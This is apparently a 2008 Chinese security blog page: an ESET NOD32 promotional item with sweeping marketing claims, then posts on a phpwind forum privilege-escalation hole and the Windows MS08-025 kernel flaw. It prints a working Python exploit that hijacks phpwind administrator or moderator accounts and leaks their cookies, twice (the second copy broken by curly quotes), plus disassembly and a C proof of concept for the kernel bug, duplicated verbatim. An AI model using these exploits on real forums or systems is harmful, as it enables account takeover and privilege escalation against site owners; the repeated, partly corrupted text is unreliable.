ESET NOD32通过第50次 VB100 权威测试
[ 2008/06/10 07:34 | by selboo ]
北京时间6月3日,国际权威病毒测试机构Virus Bulletin发布了其最新一期的测试结果,测试报告显示,本次共有15款当前世界范围内最主流的杀毒软件参与,而其中有7款未通过本次测试,在业界一直以“轻、快、准、狠”而著称的ESET NOD32顺利通过了本次测试,而且,这也是ESET NOD32第50次通过VB100的认证。
就此国际专业技术人士评论认为,自1998年开设VB100认证以来,ESET NOD32能在10年间一共获得50次VB100的认证,是具有非同一般的意义的,因为这不仅仅是权威机构对ESET NOD32的认可和赞誉,更是见证了杀毒软件技术的不断变革与进步,第50次认证,本身就是历史性的一次,同样,这一至高无上的荣耀,也对整个杀毒软件回归技术的一种认同。
严格而又公正的VB100测试认证,是任何一款杀毒软件技术实力的一次展示,同时,通过这一认证,不仅是消费者选择杀毒软件的一个重要评判标准,也能够加强用户对其的信任,因此,几乎所有著名的杀毒软件,都将这一认证视为至高无上的安全标准,咬紧牙关也要通过。但是,要想通过VB100的认证,并非易事,在100%的检测率和零误报面前,有很多大牌厂商,都曾经在此失手,被斩落马下。
因为通过VB100的测试,就意味着这款杀毒软件能够在不同的操作平台下,拦截所有现实世界里的任何病毒,而要连续通过,更是难上加难。由于计算机病毒滋生速度非常快,而杀毒软件没有强劲的防护技术能力,不能防患于未然,就无法抵御流行病毒和最新病毒的入侵,VB100的测试结果,却能从侧面反映出杀毒软件背后厂商在未知病毒查杀方面的技术水准与实力。
而ESET NOD32凭借其世界领先的高级启发式ThreatSense?引擎对未知病毒的查杀能力,通过动态启发、静态启发两种扫描方式,能够轻松检测出所有当前流行的新病毒和未知病毒,并且,拦截率比同类产品高出将近60%。在本次的测试结果颁布之后,VB就公开评价:通过测试结果我们可以看出,自1998年5月份开始,ESET NOD32是唯一一款没有遗漏世界范围内任何蠕虫病毒的杀毒软件。
ESET NOD32通过50次VB100的认证,虽不敢说是后无来者,但至少是前无古人,对于一款近年来异军突起的防病毒软件,其实力不可小觑,在一次次的严格测试中,均经受住的考验,表现不凡。能够在不同的测试平台、面对最新的病毒样本,连续通过50次,强有力的证明了ESET NOD32的卓越查杀能力和技术的成熟与稳定性,这也成为消费者选择ESET NOD32最好的理由。
杀毒软件风雨走来的10几年时间里,从最初的病毒库查杀到现在广被推崇的主动防御,都一一被VB100所见证。而ESET NOD32所尊崇的不依靠病毒库、运用启发式技术,针对不同的病毒环境使用多种病毒检测手段来全面查杀已知和未知的病毒,并一举将那些极具危险性的恶意行为拒之门外,彻底消除了零日攻击的威胁,有效防止病毒入侵等等防护措施,通过VB100的测试,向消费者深入阐释了主动防御的内涵与作用,而通过这50次的认证,也仅仅是翻开了杀毒软件发展阶段新的篇章,也标志着主动防御这一概念和技术,被真正落到了实处。
phpwind惊曝严重漏洞涉及所有版本
[ 2008/06/06 11:11 | by selboo ]
文章来源:中国站长站
中国站长站讯:本站从安全组织获悉,6月4日,国内知名的社区软件 PHPWIND所有版本又现严重漏洞。黑客利用该漏洞可导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作。目前PHPWIND已经向用户紧急发出最新安全补丁,广大站长及时下载与更新补丁包,并通知身边的站长。
详情:
漏洞发布:http://www.80sec.com/
漏洞作者:jianxin@80sec.com
漏洞厂商: http://www.phpwind.com/
PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。
本漏洞影响phpwind所有版本
漏洞危害:高
漏洞说明:phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作
利用方式:http://www.80sec.com有提供exploit
漏洞分析:由于phpwind论坛在设计上对数据库存储机制不了解,导致在程序逻辑上判断有问题,用精心构造的数据注册用户即可获得管理权限
漏洞修补:建议关闭注册功能等待官方出补丁
漏洞状态:08.5.25发现此漏洞
08.6.1由80sec.com公开此漏洞
已发补丁
漏洞测试:
# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
def banner():
print ""
print "########################################################"
print "Phpwind所有版本管理权限泄露漏洞利用poc"
print "Copyright (C) 2006"
print "jianxin@80sec.com"
print "80sec是一个新的致力于web安全的小团体"
print "http://www.80sec.com"
def usage():
banner()
print "Usage:n"
print " $ ./phpwind.py pwforumurl usertoattackn"
print " pwforumurl 目标论坛地址如http://www.80sec.com/"
print " usertoattack 目标拥有权限的斑竹或管理员"
print " 攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
print " 最新版本可以使用uid登陆"
print " 其他版本可以使用cookie+useragent登陆"
print "########################################################"
print ""
argvs=sys.argv
usage()
data = "regname=%s%s1®pwd=@80sec®pwdrepeat=@80sec®email=foo@foo.com®emailtoall=1&step=2" % (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]
request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index('winduser'):
print "Exploit Success!"
print "Login with uid password @80sec or Cookie:"
print cookie
print "User-agent: 80sec owned this"
except:
print "Error! http://www.80sec.com"
print "Connect root#80sec.com"
PHPWind Forums 20080601 补丁发布(最后更新:20080601)
重要性等级:高!推荐广大站长及时下载与更新补丁包,并通知身边的站长。
适用范围:数据库使用 mysql 4.1 以上版本
问题描述:由MySQL一个编码Bug产生的安全隐患,威胁到网站的安全运行。
补丁发布地址http://www.phpwind.net/read-htm-tid-616824.html
Windows 内核漏洞 ms08025 分析和利用工具
[ 2008/06/02 15:47 | by selboo ]
Author: Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2008-04-10
经内部讨论后决定公布分析成果。
4月8号microsoft再次发布了一个系统内核的补丁(KB941693),
微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的
系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建
新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、
Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全
更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的
输入的方式来解决此漏洞。
从这个介绍中我们看到这个漏洞影响非常广,从2000到2008。为了
能一睹这个漏洞的细节,我分析了ms08-025的补丁,发现该漏洞存在于
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方,其
中出问题的地方非常有趣,是因为溢出寄存器来绕过 ProbeForWrite
函数对用户层传来的指针的检查,下面我们就从 NtUserfnOUTSTRING
函数中的问题来展开我们的分析(我分析的平台是winxp sp2)
.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04 ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep
.text:BF86FB04 ; NtUserMessageCall(x,x,x,x,x,x,x)+61p
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6Dp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)+60p ...
.text:BF86FB04
.text:BF86FB04 var_24 = dword ptr -24h
.text:BF86FB04 var_20 = dword ptr -20h
.text:BF86FB04 UserBuffer = dword ptr -1Ch
.text:BF86FB04 ms_exc = CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0 = dword ptr 8
.text:BF86FB04 arg_4 = dword ptr 0Ch
.text:BF86FB04 arg_8 = dword ptr 10h
.text:BF86FB04 Address = dword ptr 14h
.text:BF86FB04 arg_10 = dword ptr 18h
.text:BF86FB04 arg_14 = dword ptr 1Ch
.text:BF86FB04 arg_18 = dword ptr 20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES
.text:BF86FB04
.text:BF86FB04 push 14h
.text:BF86FB06 push offset unk_BF98D250
.text:BF86FB0B call __SEH_prolog
.text:BF86FB0B
.text:BF86FB10 xor edx, edx
.text:BF86FB12 mov [ebp+ms_exc.disabled], edx
.text:BF86FB15 mov eax, [ebp+var_20]
.text:BF86FB18 mov ecx, 7FFFFFFFh
.text:BF86FB1D and eax, ecx
.text:BF86FB1F mov esi, [ebp+arg_18]
.text:BF86FB22 shl esi, 1Fh
.text:BF86FB25 or eax, esi
.text:BF86FB27 mov [ebp+var_20], eax
.text:BF86FB2A mov esi, eax
.text:BF86FB2C xor esi, [ebp+arg_8] -> esi = 缓冲区长度
.text:BF86FB2F and esi, ecx
.text:BF86FB31 xor eax, esi
.text:BF86FB33 mov [ebp+var_20], eax
.text:BF86FB36 cmp [ebp+arg_18], edx -> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小
.text:BF86FB39 jnz short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B lea esi, [eax+eax] <- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,
<- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000,32位的寄存器
<- 被溢出了,esi = 0
.text:BF86FB3E xor esi, eax
.text:BF86FB40 and esi, ecx
.text:BF86FB42 xor eax, esi
.text:BF86FB44 mov [ebp+var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47: ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j
.text:BF86FB47 mov [ebp+var_24], edx
.text:BF86FB4A mov esi, [ebp+Address]
.text:BF86FB4D mov [ebp+UserBuffer], esi
.text:BF86FB50 xor ebx, ebx
.text:BF86FB52 inc ebx
.text:BF86FB53 push ebx ; Alignment
.text:BF86FB54 and eax, ecx
.text:BF86FB56 push eax ; Length <- 由于 eax = 0,所以ProbeForWrite被绕过
.text:BF86FB57 push esi ; Address
.text:BF86FB58 call ds:ProbeForWrite(x,x,x)
bf80a1b0 e96ef4ffff jmp win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510 mov [ebp+0x10],eax
bf80a1ba ebf1 jmp win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514 mov eax,[ebp+0x14]
bf80a1bf f6400780 test byte ptr [eax+0x7],0x80
bf80a1c3 8b4008 mov eax,[eax+0x8]
bf80a1c6 7408 jz win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000 mov byte ptr [eax],0x0
bf80a1cb e951f4ffff jmp win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910 mov [eax],dx <- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff jmp win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00 push 0x0
bf80a1da 6a02 push 0x2
bf80a1dc ff7638 push dword ptr [esi+0x38]
bf80a1df e8d1690200 call win32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff test edi,edi
bf80a1e8 0f8433f4ffff je win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710 lea esi,[edi+0x10]
那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!NtUserMessageCall,
发现触发这个漏洞很简单,只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了,
下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可
用的exploit,可以参考我以前的exploit)
#include
#include
int main(int argc,char *argv[])
{
DWORD dwHookAddress = 0x80000000;
printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
return 0;
}
WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forums/
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2008-04-10
经内部讨论后决定公布分析成果。
4月8号microsoft再次发布了一个系统内核的补丁(KB941693),
微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的
系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建
新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、
Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全
更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的
输入的方式来解决此漏洞。
从这个介绍中我们看到这个漏洞影响非常广,从2000到2008。为了
能一睹这个漏洞的细节,我分析了ms08-025的补丁,发现该漏洞存在于
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方,其
中出问题的地方非常有趣,是因为溢出寄存器来绕过 ProbeForWrite
函数对用户层传来的指针的检查,下面我们就从 NtUserfnOUTSTRING
函数中的问题来展开我们的分析(我分析的平台是winxp sp2)
.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04 ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep
.text:BF86FB04 ; NtUserMessageCall(x,x,x,x,x,x,x)+61p
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6Dp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)+60p ...
.text:BF86FB04
.text:BF86FB04 var_24 = dword ptr -24h
.text:BF86FB04 var_20 = dword ptr -20h
.text:BF86FB04 UserBuffer = dword ptr -1Ch
.text:BF86FB04 ms_exc = CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0 = dword ptr 8
.text:BF86FB04 arg_4 = dword ptr 0Ch
.text:BF86FB04 arg_8 = dword ptr 10h
.text:BF86FB04 Address = dword ptr 14h
.text:BF86FB04 arg_10 = dword ptr 18h
.text:BF86FB04 arg_14 = dword ptr 1Ch
.text:BF86FB04 arg_18 = dword ptr 20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES
.text:BF86FB04
.text:BF86FB04 push 14h
.text:BF86FB06 push offset unk_BF98D250
.text:BF86FB0B call __SEH_prolog
.text:BF86FB0B
.text:BF86FB10 xor edx, edx
.text:BF86FB12 mov [ebp+ms_exc.disabled], edx
.text:BF86FB15 mov eax, [ebp+var_20]
.text:BF86FB18 mov ecx, 7FFFFFFFh
.text:BF86FB1D and eax, ecx
.text:BF86FB1F mov esi, [ebp+arg_18]
.text:BF86FB22 shl esi, 1Fh
.text:BF86FB25 or eax, esi
.text:BF86FB27 mov [ebp+var_20], eax
.text:BF86FB2A mov esi, eax
.text:BF86FB2C xor esi, [ebp+arg_8] -> esi = 缓冲区长度
.text:BF86FB2F and esi, ecx
.text:BF86FB31 xor eax, esi
.text:BF86FB33 mov [ebp+var_20], eax
.text:BF86FB36 cmp [ebp+arg_18], edx -> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小
.text:BF86FB39 jnz short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B lea esi, [eax+eax] <- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,
<- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000,32位的寄存器
<- 被溢出了,esi = 0
.text:BF86FB3E xor esi, eax
.text:BF86FB40 and esi, ecx
.text:BF86FB42 xor eax, esi
.text:BF86FB44 mov [ebp+var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47: ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j
.text:BF86FB47 mov [ebp+var_24], edx
.text:BF86FB4A mov esi, [ebp+Address]
.text:BF86FB4D mov [ebp+UserBuffer], esi
.text:BF86FB50 xor ebx, ebx
.text:BF86FB52 inc ebx
.text:BF86FB53 push ebx ; Alignment
.text:BF86FB54 and eax, ecx
.text:BF86FB56 push eax ; Length <- 由于 eax = 0,所以ProbeForWrite被绕过
.text:BF86FB57 push esi ; Address
.text:BF86FB58 call ds:ProbeForWrite(x,x,x)
bf80a1b0 e96ef4ffff jmp win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510 mov [ebp+0x10],eax
bf80a1ba ebf1 jmp win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514 mov eax,[ebp+0x14]
bf80a1bf f6400780 test byte ptr [eax+0x7],0x80
bf80a1c3 8b4008 mov eax,[eax+0x8]
bf80a1c6 7408 jz win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000 mov byte ptr [eax],0x0
bf80a1cb e951f4ffff jmp win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910 mov [eax],dx <- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff jmp win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00 push 0x0
bf80a1da 6a02 push 0x2
bf80a1dc ff7638 push dword ptr [esi+0x38]
bf80a1df e8d1690200 call win32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff test edi,edi
bf80a1e8 0f8433f4ffff je win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710 lea esi,[edi+0x10]
那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!NtUserMessageCall,
发现触发这个漏洞很简单,只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了,
下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可
用的exploit,可以参考我以前的exploit)
#include
#include
int main(int argc,char *argv[])
{
DWORD dwHookAddress = 0x80000000;
printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
return 0;
}
WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forums/
下载文件 (已下载 136 次)
phpwind管理权限泄露漏洞
[ 2008/06/02 14:53 | by selboo ]
转自:http://www.80sec.com/phpwind-exploit-2.html
# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
def banner():
print ""
print "########################################################"
print "Phpwind所有版本管理权限泄露漏洞利用poc"
print "Copyright (C) 2006"
print "jianxin@80sec.com"
print "80sec是一个新的致力于web安全的小团体"
print "http://www.80sec.com"
def usage():
banner()
print "Usage:\n"
print " $ ./phpwind.py pwforumurl usertoattack\n"
print " pwforumurl 目标论坛地址如http://www.80sec.com/"
print " usertoattack 目标拥有权限的斑竹或管理员"
print " 攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
print " 最新版本可以使用uid登陆"
print " 其他版本可以使用cookie+useragent登陆"
print "########################################################"
print ""
argvs=sys.argv
usage()
data = "regname=%s%s1®pwd=@80sec®pwdrepeat=@80sec®email=foo@foo.com®emailtoall=1&step=2" % (argvs[2],”%c1″)
pwurl = “%s/register.php” % argvs[1]
request = urllib2.Request(
url = pwurl ,
headers = {’Content-Type’ : ‘application/x-www-form-urlencoded’,'User-Agent’: ’80sec owned this’},
data = data)
f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index(’winduser’):
print “Exploit Success!”
print “Login with uid password @80sec or Cookie:”
print cookie
print “User-agent: 80sec owned this”
except:
print “Error! http://www.80sec.com”
print “Connect root#80sec.com”